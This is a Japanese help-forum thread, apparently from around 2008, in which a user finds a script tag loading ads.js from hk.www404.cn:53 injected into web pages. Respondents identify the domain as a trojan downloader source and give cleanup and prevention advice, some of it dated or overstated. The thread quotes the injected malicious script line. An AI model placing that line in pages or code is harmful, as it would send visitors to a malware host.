hk.www404.cn:53 って・・・

質問

今日気づいたのですが、IEでページを見た所、全体的に表示が変に見えました。
　なのでソースを見た所、
<script language="javascript" SRC="http://hk.www404.cn:53/ads.js"></script>
というソースが一番上に入っています。

　YahooやGoogleなど、有名所のページを見ても、上段に入っており、別のPCから見るとそのようなものが入っていない為、ウィルスかなと思うのですが、それなら感染PCから見るて、上記ソースが入っているサイトと入っていないサイトがあるのが不思議です・・・。

　hk.www404.cn:53でググっても、日本語のページが出てこなく、英語のページもちょっと違う内容のようですので、質問させていただきます。

　どなたかこの現象、ご存知な方、いらっしゃらないですか？

回答No.4

ryu-fiz · ベストアンサー

http://www.web-trac.com/index.php/hkwww404cn53adsjs-10-05/

Downloader.Agent系のトロイの木馬をダウンロードさせる可能性のあるドメインのようです。最近、この種の感染の原因となる悪質なドメインに関する有力な情報を提供しているページを探すことに個人的に凝ってまして、ウイルスキラーの開発元であるRisingのアドバイザリにこのドメインが以前掲載されていたことがあったと記憶しています。

早急に定義を最新のものに更新後、ウイルス対策ソフトでPC全体のスキャンを行うことを強くお勧めします。何も検出されない場合には、カスペルスキーなどのオンラインスキャンも利用してください。

http://www.kaspersky.co.jp/virusscanner

などと書いているところで、３番さんが同じURLを見つけて回答していることに気がついたところ。。

>別のPCから見るとそのようなものが入っていない為、ウィルスかなと思うのですが、それなら感染PCから見るて、上記ソースが入っているサイトと入っていないサイトがあるのが不思議です・・・。

まず最初に申し上げておきますが…ソースに件の記述が挿入される原因は少なくともそちらのPC上に発生した感染が原因、ではありません。記述そのものが感染を誘発する引き金にはなりますが、ソースが挿入される原因は別に存在するということです。

ソースにおかしな記述が混入する原因の多くはSQLインジェクションという攻撃による、と考えられていますが…最近ではそれ以外の手法で行われるケースも出ているようです。

http://itpro.nikkeibp.co.jp/article/COLUMN/20080125/292050/

混入させる経路自体入り組んでいて説明が難しそうですが…サイトのソースが直接改変されるSQLインジェクションとは異なり、ページ閲覧の際の通信経路のどこかで悪質なコードが挿入されるようになっている模様です。

別のPCからだと見つからない、ということだと…例えばインターネット接続プロバイダが異なる場合にはプロバイダのISPが深刻な問題を抱えている可能性がなきにしもあらずで、プロキシを導入しているかどうかで異なるといった場合には、プロキシサーバが何らかの感染にあっている可能性が考えられます。

いずれにせよ、質問者さん個人でプロバイダやプロキシの問題はどうこう出来ない可能性が高いので、現実的な対処としてはやはり当面IE以外のブラウザをメインで使うべきだということになりそうです。

とにかく、ウイルス対策ソフトなどで早急に感染の有無をチェックすべきです。質問者さんご自身は『既に感染決定』と判断しておられるようですが…必ずしもそうとは言えません。

昨今の感染の多くは、WindowsOS、あるいはアプリケーションソフトなどのセキュリティ上の問題点＝脆弱性を利用して発生することが多いです。したがって、ニュースサイトなどの情報を参考に、各種アプリケーションを常に最新のものにしておくことを怠っていなければ、悪意のあるドメインに転送されたとしても感染を免れる可能性は全くないとは言えないのです。例えば…

http://www.itmedia.co.jp/enterprise/articles/0805/29/news030.html

最近話題になっているFlash Playerの脆弱性を利用した感染である場合には、Flash Playerが最新のバージョンになっていれば深刻な感染に至らない可能性も十分にある、ということです。

とにかく、現状を正確に把握するためには検証あるのみです。それをきちんと行うことが大切。で、それが面倒だとかいうことだったら…結局感染しちゃった、と結論付けてさっさとリカバリしちゃうのがお勧めです。

安全にリカバリを進めるために、次のURLを参考にしてください。
http://iwata.way-nifty.com/home/2004/10/1017.html

昨今の感染は手強くなっており、ウイルス対策ソフトで防ぐことが困難になっているものも増えています。ウイルス対策ソフトを入れて、怪しいサイトを見ないようにするだけでは防げない感染も少なからずあります。同様な感染を防ぐために次のような点に注意してください。

１）各種アプリケーションソフトのセキュリティ更新を怠らない。

Windows Updateの必要性はこれまでも叫ばれていますが、悪用されるセキュリティ上の問題点＝脆弱性は、WindowsOS上のものから各アプリケーションソフトのものへと移り変わりつつあります。つまり、これからのネットセキュリティにおいては、OSだけでなく、その上で実行される各種アプリケーションソフトを必要に応じて最新のものに更新することも怠ってはいけません。例えば、

・Firefox、Operaなどのブラウザ。
・Sun Java 仮想マシン(JRE)。
・Flash PlayerやShockwave Playerなどのプラグイン。
・Real Player、QuickTimeなどのメディアプレイヤー。
・Adobe Readerや圧縮解凍ソフトなど、それ以外のアプリケーションソフト。

最新の感染では、そうしたアプリケーションソフトの脆弱性が利用されることが殆どです。一般サイトが何らかの理由で改変された結果、そうした脆弱性を利用した仕掛けのある悪意のあるサイトにこっそり転送されて感染が試みられます。

http://internet.watch.impress.co.jp/
http://www.itmedia.co.jp/enterprise/security/

こうしたサイトを出来れば毎日チェックし、速やかな対処を行えば防ぐことの出来る感染も多いのです。

２）標準設定のInternet Explorerはセキュリティ上危険な面が多いことを認識すること。

IEで扱うことの出来るJavaScriptは特殊なもので、各種感染に利用されることがあります。勝手の知らないサイトではIEのセキュリティレベルをあらかじめ上げておく必要があると考えられます。

でも、セキュリティレベルをTPOに合わせて切り替えて使うことはユーザーにとってかなり負担になります。IEに依存しないFirefoxやOperaのようなブラウザを普段遣いにすることで、各種感染のリスクを大幅に下げることが可能です。

http://www.mozilla-japan.org/products/firefox/
http://jp.opera.com/

もちろん、各ブラウザにおいても随時セキュリティ上の問題点が見つかることがあり、その場合には危険が生じます。でも必要な情報を入手した上で随時最新のものを使うように心掛ければ、IEほどには感染のリスクは高くありません。

お礼

お礼、遅くなって申し訳ありませんm(__)m
　セキュリティソフトではウィルスが０件状態なのに、現象が改善されなくて困っていたのですが、お教え下さったカスペルスキーではちゃんと検出出来、強削などの削除用ソフトで削除を繰り返し、何とかクリーン？な状態に戻りました。

　普段は操作の速さを考えて、ウィルスソフトもオフにして、IE及びその他ソフトのセキュリティも低にして使用する人が多かったようです。

　助かりました。有難うございましたm(__)m

回答No.3

noname#63050

緊急に検索したところ
hk.www・・・はJS/Downloader.Agent virusとのことです。
ネット上の潜伏場所を変えつつあるそうですが、現在は、ウェッブページの一番上の数行にこのコードが侵入するそうです。javascriptを悪用するみたいです。現状では解決方法が見つかっていないそうで、IE 6 以前は感染する確率が非常に高く、FireFoxなら安全だとのことです。

【警告】hk.www・・・←絶対にクリックしてはいけません！

お礼

何とお礼を申し上げて良いことやらッ！！
　最初はサーバデータの改ざんかと大焦りし、元々のシマンテックでウィルス駆除しても改善されず、AVG、オンラインスキャンと転々としても改善されず・・・
　fireFoxなら安全なんですね。
　でももう感染しちゃったからなぁ・・・(泣
　ああ、でも今日はどちらにしても泊まりだわ・・・

回答No.2

huhuhu_mo

私も細かいところまではわからないのですが
簡単に補足を。。。

【 hk . www 404 . cn : 53 】のURLですがそこから想像するに

.cn なので中国でしょうね
:53 はポート番号になってます

[ 調査サイトで調べてみました ]
http://www.aguse.jp/?m=w&url=222.216.28.25&retry.x=52&retry.y=6
http://www.aguse.jp/?m=w&url=http%3A%2F%2Fhk.www404.cn%2F&retry.x=67&retry.y=9

やっぱり中国のアドレスのようですが、
今のところはブラックリストとかには入っていなさそうですね。

なにか不審なサイトであった場合は、これから情報が出始めるんだと思います。

参考URL：

http://www.aguse.jp/

回答No.1

FMVNB50GJ

知らないが、hk以下のアドレスを記入するのはよくないのではないか。

DNSから何の返答もなかったが、ウイルスを疑えばスキャンで確認するのがいいと思う。

ヤフーのホームページの上段のところのソース、にはなかったが。